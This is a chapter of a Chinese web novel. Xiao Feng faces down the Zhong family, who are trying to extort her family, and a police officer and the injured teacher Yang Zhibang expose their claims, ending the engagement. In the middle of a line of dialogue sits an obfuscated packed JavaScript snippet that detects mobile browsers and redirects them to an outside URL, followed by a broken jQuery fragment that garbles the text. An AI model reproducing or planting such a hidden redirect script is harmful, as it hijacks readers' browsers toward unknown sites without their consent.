44. 落空
作品:《上行期爱情故事》 肖凤看她假模假式的,还有心情在这里做戏,估摸钟老三是没事。
她又往前走一步,讥讽道:“你这话说得好笑,到底是谁老实被坑?他要真是个好的,能二十四五还没相上亲?别说县长的姑娘,是个姑娘只要知道他这么不要脸还没本事都不会看上他!连个棒槌都不如,只有你家自己当个宝贝!”
“你……!”钟母被她气得不行,指着她要说什么却说不出来。主要是不说脏话她好像就不会骂人了。
肖凤却不给她想的机会,“还有,我再次跟你声明一下,你我两家只是相看,没娶没嫁。你家这样家风不正的人家,哪个姑娘敢进你家门?怕不是在你家要任打任骂,只怕是打死了你家都还要像今天这样,在地上撒泼打滚要死要活都是你家的道理!”
“你!”钟母吵架只会撒泼不会讲理,被她不歇气的话堵得不上不下,两手一拍大腿就往地上坐,“我……我要死了啊!不要拦我!我今天被这小——”
眼见她干嚎着一屁股坐到了自己甩的鼻涕上,肖凤说,“你什么你,你看你就这一套!又要往地上滚?只管滚,把你擤的鼻龙流的口水都滚干净才好。”
钟母一边做戏一边耳朵竖着、眼睛瞟着,这一听哪里还滚得下去,连忙停了嚎叫哼哼唧唧站了起来又去看自己身上。
钟老伯娘一眼看见她屁股上那摊混着尘土、白里泛黑的鼻涕,连忙转到另一侧去扶着她,继续假意哄劝着宽心和不要计较之类的。
肖凤心里更加安定,钟老三肯定没事,说不定还没阳志邦的伤严重。
最大的战力一时消停了,钟老大看着不成,仔细打量了肖凤好几番,不阴不阳地开了口,“肖凤,我本来当你是我未来弟媳,是个有家教讲道理的姑娘,不想你对我叔娘都这样不敬重。上回你误会我家堂弟非要离开,我们全家找了你一天,我派出所的警车都骑出来找你,结果你自己不招呼一声就和人走了。这恩情你不记着都不说了,这次我堂弟在你们这里被打成重伤,至今还昏迷在医院里,我家来要个说法有什么不对?别以为这是你们的地盘就可以目无王法!”
肖凤这吵架吵着吵着就上状态了,嗤笑一声,“你家人为什么受伤我们也不知道,你们非要赖着我们要说法,我们也没说不讲道理。都说了叫你们和我们去派出所了,你们倒是走啊?你们不敢去,只在这里撒泼打滚,是心虚吧?”
钟老大只会拿他那点小小权力压人,但这里不是他钟家坝地盘,他那鸡毛当不了令箭,只得横眉瞪眼拿出他一贯唬人的吃人凶狠样,“你一个女人懂什么道理!这是触犯法律的事情,你……”
肖凤最烦这种小人得势的嘴脸,“我看你一个男人也不像懂道理的,说你心虚说中了跳脚是吧?你家钟老三自己惹事自己吃了教训,反倒要我家背锅,也好意思跟我讲道理?要么你家钟老三人就没事,这么闹是不是想讹我家一笔?”
说到这里,肖凤伸手便要拉他,“我看你们就是想讹诈我家!走走走,咱们立即就去派出所报案!”
钟老大连忙后退,嘴上不忘说,“你们叫我们去哪里就去哪里,这里是你们乐安乡,肯定向着你肖家,绝对不会承认害了我堂弟的事情!”
门外众人看笑了,直说这家人就是来耍赖的,这钟老大自称是警察,怕不是个假.警察。
“这个大哥你说自己是个警察,却张嘴说出这种没有法律常识的话来,我都要怀疑你这官当得来路不正!”
众人闻声看去,只见阳志邦带着李永还有乐安乡派出所的一位警察同志,一起到了门口。
不等屋里的人相问,阳志邦给身边的警察说,“警察同志,这就是我说的那天拿着马刀和棍棒打我的钟老三的家人。”
“那天钟老三带着一伙人在我放学回家的路上拦下我,莫名其妙不讲道理把我砍了几刀还打成重伤,要不是你们接到李永老师报警赶来发现,把我送到邹医生家抢救了一晚上,我恐怕都没命了。为此我请假了一个星期都没到学校上课,耽误了孩子们多少课啊!可惜当时你们到现场的时候,他们已经扔下我骑车逃跑了,不然当场必定得给他们抓住。”
阳志邦一边说一边不忘展示自己身上还包着纱布的伤口。
众人一听这个原委,又看阳志邦一身伤,对上了之前钟家死活赖说打钟老三的是姓杨的老师,更加认定了钟家就是来耍赖讹人。又感叹阳老师都被伤成这样了还放不下学生,实在是个不可多得的好老师。
这乐安乡街上又不大,阳老师不说十里八乡吧,至少他天天上下课的这一条街上都认识了,长得好有出息不说,跟谁家买东西借东西是礼貌又讨喜,修电器更是热心又用心,是公认的不可多得的正派人。
连阳老师都被打成重伤,要不是警察发现送去抢救命都没了,那钟老三却还能骑车逃跑呢,怎么可能在医院昏迷不醒!这钟家就是又坏又贪!
乐安乡的张警察一身橄榄绿的制服笔挺威严,那天他就是出警人之一,自然知道这个情况。听说钟老大也是个警察,他一进门就锁定了站着的钟老大,钟老大自然也看见了他。
肖得恩也过来和张警察握手,“辛苦了张警察。这家人本是跟我家在议亲的,没议成心生不满吧,现在跑来骂我家姑娘,还想把他家不知道在哪里混惹事被打的儿子赖到我家头上,我说去派出所报案就撒泼不走了。真是麻烦你来一趟。”
张警察客气笑着和肖得恩握手,“肖副站长说的哪里话,维护治安是我们份内的事。”
两人说完,张警察扫视了下几人,然后走到钟老大面前,“我叫张为民,警号是520906。这位同志,听说你也是警察,请问你的名字和警号是多少?到我乡是办事还是办案?”
钟老大在钟家坝招摇惯了,但他能当上民警,履历自然不会有大问题。考是花了力气考的,分配是允许属地优先的,非要说也只有一条。同期报考的当地人里,他学历最低,才初中毕业,和他竞争的都是高中或者中专学历。
但初中学历考本地民警是满足条件的,至于择最优那也是当地主观上一说的事。他这堂弟钟老三也就是没定下心混完初中学历,不然家里也会想办法给他送进去。
面对警察,还是个和自己年纪相当的,钟老大自然不怵,不过习惯性地挂上哥俩好的笑容来,就要伸手去搭张为民的肩膀。不想张警察不吃他这一套,横了一眼扫开他去。
钟老大脸上笑容僵了僵,心想遇到个二愣子,又继续笑着将手势一变作势要跟张警官握手,“张警……”
“噗嗤——”张为民还在莫名其妙看着钟老大,阳志邦却看着钟老大伸出的左手突然笑了一声。
钟老大看了他一眼,见他看着自己的手立即意识到自己伸错了,面不改色继续笑着换了右手,“张警官!你好你好!”
张为民对他这个称呼皱了眉,心下十分鄙夷。但这种洋气的叫法各种港片里都有,大城市也有些人爱这么称呼警察,张为民终究也没开口驳斥他,但也没伸手回应他。
钟老大仿佛没看到他冷脸一样,还在巴巴扯着,“咱俩名字一样,我叫钟太名,警号是520998。来来来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386523|198861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给个面子握个手。”
张为民听他报完了警号,这才不甘愿地伸手和他握了一下,一触即离,却也无法忽略他想抓着不放拉亲近关系的动作,于是冷声道:“这里是粮站,正经单位不要耽误人家工作。有什么想说的跟我到派出所里去说。”
“我不走……”钟母立即就要嚎起来,被张为民冷冷一瞪,又被钟老大暗示的眼神打住。
一行人连同肖得恩出了粮站,跟着张为民进了乡派出所。派出所就在乡政府办公大院里,与粮站相距不过半里地。
对比钟家张口就来的前因后果和只在嘴里的重伤昏迷,阳志邦这边有先前的报警记录又有证人证据,民警自然轻易就弄明白了钟家的意图。只说钟老三不到现场,那另外两个参与械斗的也要来做笔录。
派出所如此公事公办的强硬态度,骇得钟母连连耍赖,直说儿子昏迷不醒起不来了不会来,倒也不敢再要说法要赔偿。
钟老大见这乐安乡俱是铁面无私的二愣子,完全不好拉拢,也只说自己是办家里的私事,不是来办案,俱听这边安排。钟家两个老长辈见讨不到一点好,还可能惹上官司,从见了警察开始就成了锯嘴葫芦。
最后还是肖得恩说不追究几人胡闹,阳志邦也说打他的人不来现场不好调解,派出所这边才缓了语气。批评教育钟家几人是免不了的,连未到场的三个当事人都被严正警告不许再在乐安乡逞凶斗狠,再有发生必不姑息。
一行人出来之后,肖得恩跟钟家人放下话,这亲家没得做,这婚事当没有过。
钟母愤恨不已,还想再辱骂几句,只叫肖得恩定眼瞪着就失了气势,甩下一句她儿子好找得很倒是他女儿以后谁还会要,翻脸走了。
钟母愤愤不平地被钟老大扶上三轮车时,阳志邦还不忘站在车斗旁边跟对方温言相告,“今天钟老三没来,还请你们带几句话给他,以后他但凡再来我们乐安乡,我见他一次就报案一次。我这身伤不白挨,你家不赔我治疗费,我就要叫他吃牢饭。”
从头到尾,他都没说自己是当时咚水镇接走肖凤的人,来的几位连同那天傍晚骑着警车追到旅馆的钟老大都只见过姚小娜和陈思道,这几人便都不清楚阳志邦和肖家有什么关联。钟老三自己也没和家里人说明白,跟他打过来的两个人,也不清楚前情,只说钟老三打的人是肖凤新找的相好。
他们怀疑过肖凤和阳志邦的关系,却见两人几乎不相识一样,别说招呼了,连话都没说过,眼神都没什么交流。但要在他面前使出那套就地打滚的无赖招数,完全没用,更何况他头上手上的“证据”还历历在目,要论躺下装死敲竹杠,现下没人比他更合适。钟家是投鼠忌器,哪里还敢继续耍横。
今天这一出,钟家本就为两件事,一为退亲,二为讨说法。
退亲不必说,钟家一没下聘,二没送什么太过贵重的礼品,加上每次肖家也有相应回礼,钟家等于没什么损失。讨说法他们本就打主意是先发制人,能讹尽讹,所以对于失败也有心理准备。
何况钟老三并没有什么昏迷不醒,实际上他如今好好的能吃能睡,只是那天一路回去流了不少血还在虚弱头晕。钟父钟母视他为眼珠子,炖汤煮蛋补不够,还天天送他去诊所输液,这回钟父没跟来留在家就是为了照看方便。当时钟老三还说他给这边砍得不轻,比自己重多了,他们不信,今天亲眼见了才信七八分。
好算盘落空,钟家几人坐着三轮车走得飞快。钟母更是盘算着回去了少不得要往死里看紧钟老三,不叫他再来这乐安乡,免得真被逮进去吃牢饭。

